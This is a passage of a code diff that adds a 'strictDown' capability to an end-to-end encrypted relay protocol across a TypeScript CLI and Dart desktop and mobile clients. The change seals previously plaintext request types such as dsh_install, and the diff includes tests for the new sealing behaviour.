const s = this.sessions.get(connId)
if (!s) return null
const env = (payload as C.WrappedPayload).__e2e
@@ -742,7 +743,9 @@ export class E2eeManager {
const enc = C.aeadSeal(keys.s2c, 0, C.utf8('e2e-welcome'), C.utf8(JSON.stringify({
groupKey: C.b64e(this.groupKey),
epoch: this.epoch,
- features: { terminalP2p: 1, viewerForwarding: 1 },
+ // strictDown: this daemon opens a sealed frame of ANY type and refuses unsealed ones from the relay,
+ // so a client may seal the types older daemons took in the clear (STRICT_DOWN_TYPES).
+ features: { terminalP2p: 1, viewerForwarding: 1, strictDown: 1 },
})))
this.deps.sendTo(connId, {
type: 'e2e_welcome',
diff --git a/cli/src/lib/e2ee/relayClient.ts b/cli/src/lib/e2ee/relayClient.ts
index 3126efa93..ee81734dd 100644
--- a/cli/src/lib/e2ee/relayClient.ts
+++ b/cli/src/lib/e2ee/relayClient.ts
@@ -11,7 +11,7 @@
*/
import { WebSocket } from 'ws'
import * as C from './core.js'
-import { encryptDownFrame } from './applicationFrames.js'
+import { encryptDownFrameFor } from './applicationFrames.js'
import { deriveTerminalBinaryKey, openTerminalBinary, sealTerminalBinary, type TerminalBinaryClear } from '../terminalBinary.js'
import { pwCpaceGenerator, pwContext, stretchPassword } from './passwordPake.js'
import { ReplayWindow } from './replayWindow.js'
@@ -38,6 +38,7 @@ export class RelaySessionCrypto {
private epoch = ''
private p2pVersion = 0
private viewerVersion = 0
+ private strict = false
private groupRecv = new Map<string, number>() // epoch -> highest counter seen
constructor(private readonly deps: RelayCryptoDeps) {}
@@ -45,6 +46,8 @@ export class RelaySessionCrypto {
get ready(): boolean { return this.c2s !== null && this.s2c !== null }
get terminalP2pVersion(): number { return this.p2pVersion }
get viewerForwardingVersion(): number { return this.viewerVersion }
+ /** The daemon opens every sealed type and refuses STRICT_DOWN_TYPES unsealed (its welcome said so). */
+ get strictDown(): boolean { return this.strict }
helloFrame(): Frame {
return {
@@ -72,7 +75,7 @@ export class RelaySessionCrypto {
} catch { return false }
const opened = C.aeadOpen(keys.s2c, 0, C.utf8('e2e-welcome'), C.b64d(encB64))
if (!opened) return false
- let initial: { groupKey?: string; epoch?: string; features?: { terminalP2p?: unknown; viewerForwarding?: unknown } }
+ let initial: { groupKey?: string; epoch?: string; features?: { terminalP2p?: unknown; viewerForwarding?: unknown; strictDown?: unknown } }
try { initial = JSON.parse(new TextDecoder().decode(opened)) as typeof initial } catch { return false }
if (!initial.groupKey || !initial.epoch) return false
this.c2s = keys.c2s
@@ -85,6 +88,7 @@ export class RelaySessionCrypto {
? Number(initial.features?.terminalP2p)
: 0
this.viewerVersion = initial.features?.viewerForwarding === 1 ? 1 : 0
+ this.strict = initial.features?.strictDown === 1
return true
}
@@ -109,7 +113,7 @@ export class RelaySessionCrypto {
const type = frame.type as string | undefined
// Sharing, viewer forwarding and fleet RPCs are negotiated extensions; the shared crypto core stays
// byte-identical — see applicationFrames.ts for the one list.
- if (!type || !this.c2s || !encryptDownFrame(type)) return frame
+ if (!type || !this.c2s || !encryptDownFrameFor(type, this)) return frame
const payload = C.wrapPayload(this.c2s, 'p', this.c2sCounter++, type, undefined, frame.payload)
return { ...frame, payload }
}
diff --git a/cli/src/lib/e2ee/relayLink.spec.ts b/cli/src/lib/e2ee/relayLink.spec.ts
index 41ed781de..6e1ad2b5e 100644
--- a/cli/src/lib/e2ee/relayLink.spec.ts
+++ b/cli/src/lib/e2ee/relayLink.spec.ts
@@ -122,6 +122,15 @@ describe('remote-password link + relay session crypto (interop with the real E2e
expect(crypto.handleWelcome(welcome.payload as Record<string, unknown>)).toBe(true)
expect(crypto.ready).toBe(true)
expect(crypto.terminalP2pVersion).toBe(1)
+ expect(crypto.strictDown).toBe(true)
+
+ // A daemon that says strictDown gets the formerly-plaintext RPCs sealed, and opens them.
+ const install = { requestId: 'dsh-1', url: 'https://example.invalid/harness.git' }
+ const sealedInstall = crypto.wrapOutgoing({ type: 'dsh_install', payload: install })
+ expect(sealedInstall.payload).not.toHaveProperty('url')
+ expect(manager.unwrapDown('session-conn', sealedInstall)?.payload).toEqual(install)
+ // …and nothing unsealed is opened: a plaintext frame is the relay's, not the client's.
+ expect(manager.unwrapDown('session-conn', { type: 'message', payload: { content: 'x', agentId: 'a' } })).toBeNull()
// Outgoing: client encrypts a down-type frame; manager decrypts it via unwrapDown.
const outgoing = crypto.wrapOutgoing({ type: 'terminal_input', payload: { requestId: 'r1', foo: 'bar' } })
diff --git a/desktop/lib/e2ee/envelope.dart b/desktop/lib/e2ee/envelope.dart
index ff545a742..ad2c58127 100644
--- a/desktop/lib/e2ee/envelope.dart
+++ b/desktop/lib/e2ee/envelope.dart
@@ -69,6 +69,27 @@ const Set<String> encryptedDownTypes = {
'p2p_promote',
};
+/// Requests an older CLI took in the clear and a current one refuses unsealed — applicationFrames.ts
+/// `STRICT_DOWN_TYPES`. Sealed only for a machine whose welcome says `strictDown`: an older one would
+/// never open the envelope and would read the request as empty.
+const Set<String> strictDownTypes = {
+ 'dsh_install',
+ 'dsh_update',
+ 'dsh_remove',
+ 'dsh_list',
+ 'agent_retarget',
+ 'engines_probe',
+ 'grid_models_list',
+ 'cancel',
+ 'claude_login_status',
+ 'speaking',
+};
+
+/// Whether [type] goes sealed to a machine — applicationFrames.ts `encryptDownFrameFor`.
+bool sealsDown(String type, {required bool strictDown}) =>
+ encryptedDownTypes.contains(type) ||
+ (strictDown && strictDownTypes.contains(type));
+
Uint8List _aad(
int v,
String type,
diff --git a/desktop/lib/e2ee/relay_session_crypto.dart b/desktop/lib/e2ee/relay_session_crypto.dart
index 8970c14d7..513490892 100644
--- a/desktop/lib/e2ee/relay_session_crypto.dart
+++ b/desktop/lib/e2ee/relay_session_crypto.dart
@@ -61,9 +61,14 @@ class RelaySessionCrypto {
String _epoch = '';
final Map<String, int> _groupRecv = {};
int _terminalP2pVersion = 0;
+ bool _strictDown = false;
bool get ready => _c2s != null && _s2c != null;
+ /// The machine's `features.strictDown`: it opens a sealed request of any type and refuses
+ /// [strictDownTypes] unsealed, so those go sealed to it.
+ bool get strictDown => _strictDown;
+
/// The machine's `features.terminalP2p` — 0 when it offers no P2P terminal channel.
int get terminalP2pVersion => _terminalP2pVersion;
@@ -103,6 +108,7 @@ class RelaySessionCrypto {
final features = initial!['features'];
final p2p = features is Map ? features['terminalP2p'] : null;
_terminalP2pVersion = p2p is int ? p2p : 0;
+ _strictDown = features is Map && features['strictDown'] == 1;
return true;
} on FormatException {
return false;
@@ -136,7 +142,9 @@ class RelaySessionCrypto {
/// frame goes as it is.
Map<String, dynamic> wrapOutgoing(Map<String, dynamic> frame) {
final type = frame['type'], c2s = _c2s;
- if (type is! String || c2s == null || !encryptedDownTypes.contains(type)) {
+ if (type is! String ||
+ c2s == null ||
+ !sealsDown(type, strictDown: _strictDown)) {
return frame;
}
final payload = wrapPayload(c2s, 'p', _c2sCounter++, type, null, frame['payload']);
diff --git a/desktop/lib/viewer/e2ee_relay_codec.dart b/desktop/lib/viewer/e2ee_relay_codec.dart
index 2d4057a95..bf4b432d4 100644
--- a/desktop/lib/viewer/e2ee_relay_codec.dart
+++ b/desktop/lib/viewer/e2ee_relay_codec.dart
@@ -30,7 +30,9 @@ class E2eeRelayCodec implements RelayCodec {
@override
Map<String, dynamic>? encodeFrame(Map<String, dynamic> frame) {
final type = frame['type'];
- final mustSeal = type is String && encryptedDownTypes.contains(type);
+ // Before the welcome it is not yet known whether the machine opens [strictDownTypes], and
+ // either way they must not leave in the clear to one that refuses them — so hold them too.
+ final mustSeal = type is String && sealsDown(type, strictDown: true);
if (mustSeal && !_session.ready) return null;
return _session.wrapOutgoing(frame);
}
diff --git a/desktop/test/e2ee/strict_down_test.dart b/desktop/test/e2ee/strict_down_test.dart
new file mode 100644
index 000000000..3772fda64
--- /dev/null
+++ b/desktop/test/e2ee/strict_down_test.dart
@@ -0,0 +1,95 @@
+import 'dart:convert';
+
+import 'package:flutter_test/flutter_test.dart';
+import 'package:harness/e2ee/bytes.dart';
+import 'package:harness/e2ee/envelope.dart';
+import 'package:harness/e2ee/keys.dart';
+import 'package:harness/e2ee/primitives.dart';
+import 'package:harness/e2ee/relay_session_crypto.dart';
+import 'package:harness/viewer/e2ee_relay_codec.dart';
+
+const _machineId = 'machine-1';
+
+/// A session against a fake machine whose welcome carries [features] — the CLI's manager.ts side.
+Future<RelaySessionCrypto> _session(Map<String, Object> features) async {
+ final machine = await E2eeIdentity.generate();
+ final client = await RelaySessionCrypto.start(
+ machineId: _machineId,
+ identity: await E2eeIdentity.generate(),
+ peerPub: machine.pub,
+ );
+ final webEphPub = b64d(client.helloFrame()['payload']['ephPub'] as String);
+ final eph = await Ephemeral.generate();
+ final keys = sessionKeys(eph, webEphPub, _machineId, webEphPub, eph.pub);
+ final sig = await machine.sign(
+ lvCat(['e2e-welcome-v1', _machineId, webEphPub, eph.pub]),
+ );
+ final enc = aeadSeal(
+ keys.s2c,
+ 0,
+ utf8Bytes('e2e-welcome'),
+ utf8Bytes(
+ jsonEncode({
+ 'groupKey': b64e(List.filled(32, 7)),
+ 'epoch': 'e1',
+ 'features': features,
+ }),
+ ),
+ );
+ final ok = await client.handleWelcome({
+ 'ephPub': b64e(eph.pub),
+ 'sig': b64e(sig),
+ 'enc': b64e(enc),
+ });
+ expect(ok, isTrue);
+ return client;
+}
+
+void main() {
+ final install = {
+ 'type': 'dsh_install',
+ 'payload': {'requestId': 'r', 'url': 'https://example.invalid/h.git'},
+ };
+
+ test(
+ 'seals dsh_install and the other strict types for a strictDown machine',
+ () async {
+ final session = await _session({'terminalP2p': 1, 'strictDown': 1});
+ expect(session.strictDown, isTrue);
+ for (final type in strictDownTypes) {
+ final out = session.wrapOutgoing({
+ 'type': type,
+ 'payload': {'requestId': 'r'},
+ });
+ expect(isWrapped(out['payload']), isTrue, reason: type);
+ }
+ expect(session.wrapOutgoing(install)['payload'], isNot(contains('url')));
+ },
+ );
+
+ test(
+ 'leaves them plain for an older machine that would not open them',
+ () async {
+ final session = await _session({'terminalP2p': 1});
+ expect(session.strictDown, isFalse);
+ expect(session.wrapOutgoing(install), same(install));
+ // The always-sealed types are unaffected.
+ final message = session.wrapOutgoing({
+ 'type': 'message',
+ 'payload': {'content': 'x'},
+ });
+ expect(isWrapped(message['payload']), isTrue);
+ },
+ );
+
+ test('holds a strict type back before the welcome rather than send it in the clear', () async {
+ final codec = E2eeRelayCodec(
+ await RelaySessionCrypto.start(
+ machineId: _machineId,
+ identity: await E2eeIdentity.generate(),
+ peerPub: (await E2eeIdentity.generate()).pub,
+ ),
+ );
+ expect(codec.encodeFrame(install), isNull);
+ });
+}
diff --git a/mobile/lib/e2ee/envelope.dart b/mobile/lib/e2ee/envelope.dart
index c547cd943..48a0765fb 100644
--- a/mobile/lib/e2ee/envelope.dart
+++ b/mobile/lib/e2ee/envelope.dart
@@ -75,6 +75,27 @@ const Set<String> encryptedDownTypes = {
'p2p_promote',
};
+/// Requests an older CLI took in the clear and a current one refuses unsealed — applicationFrames.ts
+/// `STRICT_DOWN_TYPES`. Sealed only for a machine whose welcome says `strictDown`: an older one would
+/// never open the envelope and would read the request as empty.
+const Set<String> strictDownTypes = {
+ 'dsh_install',
+ 'dsh_update',
+ 'dsh_remove',
+ 'dsh_list',
+ 'agent_retarget',
+ 'engines_probe',
+ 'grid_models_list',
+ 'cancel',
+ 'claude_login_status',
+ 'speaking',
+};
+
+/// Whether [type] goes sealed to a machine — applicationFrames.ts `encryptDownFrameFor`.
+bool sealsDown(String type, {required bool strictDown}) =>
+ encryptedDownTypes.contains(type) ||
+ (strictDown && strictDownTypes.contains(type));
+
Uint8List _aad(int v, String type, String dbSessionId, String k, String epoch) =>
utf8Bytes('$v|$type|$dbSessionId|$k|$epoch');
diff --git a/mobile/lib/e2ee/relay_session_crypto.dart b/mobile/lib/e2ee/relay_session_crypto.dart
index 8970c14d7..513490892 100644
--- a/mobile/lib/e2ee/relay_session_crypto.dart
+++ b/mobile/lib/e2ee/relay_session_crypto.dart
@@ -61,9 +61,14 @@ class RelaySessionCrypto {
String _epoch = '';
final Map<String, int> _groupRecv = {};
int _terminalP2pVersion = 0;
+ bool _strictDown = false;
bool get ready => _c2s != null && _s2c != null;
+ /// The machine's `features.strictDown`: it opens a sealed request of any type and refuses
+ /// [strictDownTypes] unsealed, so those go sealed to it.
+ bool get strictDown => _strictDown;
+
/// The machine's `features.terminalP2p` — 0 when it offers no P2P terminal channel.
int get terminalP2pVersion => _terminalP2pVersion;
@@ -103,6 +108,7 @@ class RelaySessionCrypto {
final features = initial!['features'];
final p2p = features is Map ? features['terminalP2p'] : null;
_terminalP2pVersion = p2p is int ? p2p : 0;
+ _strictDown = features is Map && features['strictDown'] == 1;
return true;
} on FormatException {
return false;
@@ -136,7 +142,9 @@ class RelaySessionCrypto {
/// frame goes as it is.
Map<String, dynamic> wrapOutgoing(Map<String, dynamic> frame) {
final type = frame['type'], c2s = _c2s;
- if (type is! String || c2s == null || !encryptedDownTypes.contains(type)) {
+ if (type is! String ||
+ c2s == null ||
+ !sealsDown(type, strictDown: _strictDown)) {
return frame;
}
final payload = wrapPayload(c2s, 'p', _c2sCounter++, type, null, frame['payload']);
diff --git a/mobile/lib/viewer/e2ee_relay_codec.dart b/mobile/lib/viewer/e2ee_relay_codec.dart
index 2d4057a95..bf4b432d4 100644
--- a/mobile/lib/viewer/e2ee_relay_codec.dart
+++ b/mobile/lib/viewer/e2ee_relay_codec.dart
@@ -30,7 +30,9 @@ class E2eeRelayCodec implements RelayCodec {
@override
Map<String, dynamic>? encodeFrame(Map<String, dynamic> frame) {
final type = frame['type'];
- final mustSeal = type is String && encryptedDownTypes.contains(type);
+ // Before the welcome it is not yet known whether the machine opens [strictDownTypes], and
+ // either way they must not leave in the clear to one that refuses them — so hold them too.
+ final mustSeal = type is String && sealsDown(type, strictDown: true);
if (mustSeal && !_session.ready) return null;
return _session.wrapOutgoing(frame);
}
diff --git a/mobile/test/e2ee/strict_down_test.dart b/mobile/test/e2ee/strict_down_test.dart
new file mode 100644
index 000000000..325d8dfaa
--- /dev/null
+++ b/mobile/test/e2ee/strict_down_test.dart
@@ -0,0 +1,95 @@
+import 'dart:convert';
+
+import 'package:flutter_test/flutter_test.dart';
+import 'package:harness_mobile/e2ee/bytes.dart';
+import 'package:harness_mobile/e2ee/envelope.dart';
+import 'package:harness_mobile/e2ee/keys.dart';
+import 'package:harness_mobile/e2ee/primitives.dart';
+import 'package:harness_mobile/e2ee/relay_session_crypto.dart';
+import 'package:harness_mobile/viewer/e2ee_relay_codec.dart';
+
+const _machineId = 'machine-1';
+
+/// A session against a fake machine whose welcome carries [features] — the CLI's manager.ts side.
+Future<RelaySessionCrypto> _session(Map<String, Object> features) async {
+ final machine = await E2eeIdentity.generate();
+ final client = await RelaySessionCrypto.start(
+ machineId: _machineId,
+ identity: await E2eeIdentity.generate(),
+ peerPub: machine.pub,
+ );
+ final webEphPub = b64d(client.helloFrame()['payload']['ephPub'] as String);
+ final eph = await Ephemeral.generate();
+ final keys = sessionKeys(eph, webEphPub, _machineId, webEphPub, eph.pub);
+ final sig = await machine.sign(
+ lvCat(['e2e-welcome-v1', _machineId, webEphPub, eph.pub]),
+ );
+ final enc = aeadSeal(
+ keys.s2c,
+ 0,
+ utf8Bytes('e2e-welcome'),
+ utf8Bytes(
+ jsonEncode({
+ 'groupKey': b64e(List.filled(32, 7)),
+ 'epoch': 'e1',
+ 'features': features,
+ }),
+ ),
+ );
+ final ok = await client.handleWelcome({
+ 'ephPub': b64e(eph.pub),
+ 'sig': b64e(sig),
+ 'enc': b64e(enc),
+ });
+ expect(ok, isTrue);
+ return client;
+}
+
+void main() {
+ final install = {
+ 'type': 'dsh_install',
+ 'payload': {'requestId': 'r', 'url': 'https://example.invalid/h.git'},
+ };
+
+ test(
+ 'seals dsh_install and the other strict types for a strictDown machine',
+ () async {
+ final session = await _session({'terminalP2p': 1, 'strictDown': 1});
+ expect(session.strictDown, isTrue);
+ for (final type in strictDownTypes) {
+ final out = session.wrapOutgoing({
+ 'type': type,
+ 'payload': {'requestId': 'r'},
+ });
+ expect(isWrapped(out['payload']), isTrue, reason: type);
+ }
+ expect(session.wrapOutgoing(install)['payload'], isNot(contains('url')));
+ },
+ );
+
+ test(
+ 'leaves them plain for an older machine that would not open them',
+ () async {
+ final session = await _session({'terminalP2p': 1});
+ expect(session.strictDown, isFalse);
+ expect(session.wrapOutgoing(install), same(install));
+ // The always-sealed types are unaffected.
+ final message = session.wrapOutgoing({
+ 'type': 'message',
+ 'payload': {'content': 'x'},
+ });
+ expect(isWrapped(message['payload']), isTrue);
+ },
+ );
+
+ test('holds a strict type back before the welcome rather than send it in the clear', () async {
+ final codec = E2eeRelayCodec(
+ await RelaySessionCrypto.start(
+ machineId: _machineId,
+ identity: await E2eeIdentity.generate(),
+ peerPub: (await E2eeIdentity.generate()).pub,
+ ),
+ );
+ expect(codec.encodeFrame(install), isNull);
+ });
+}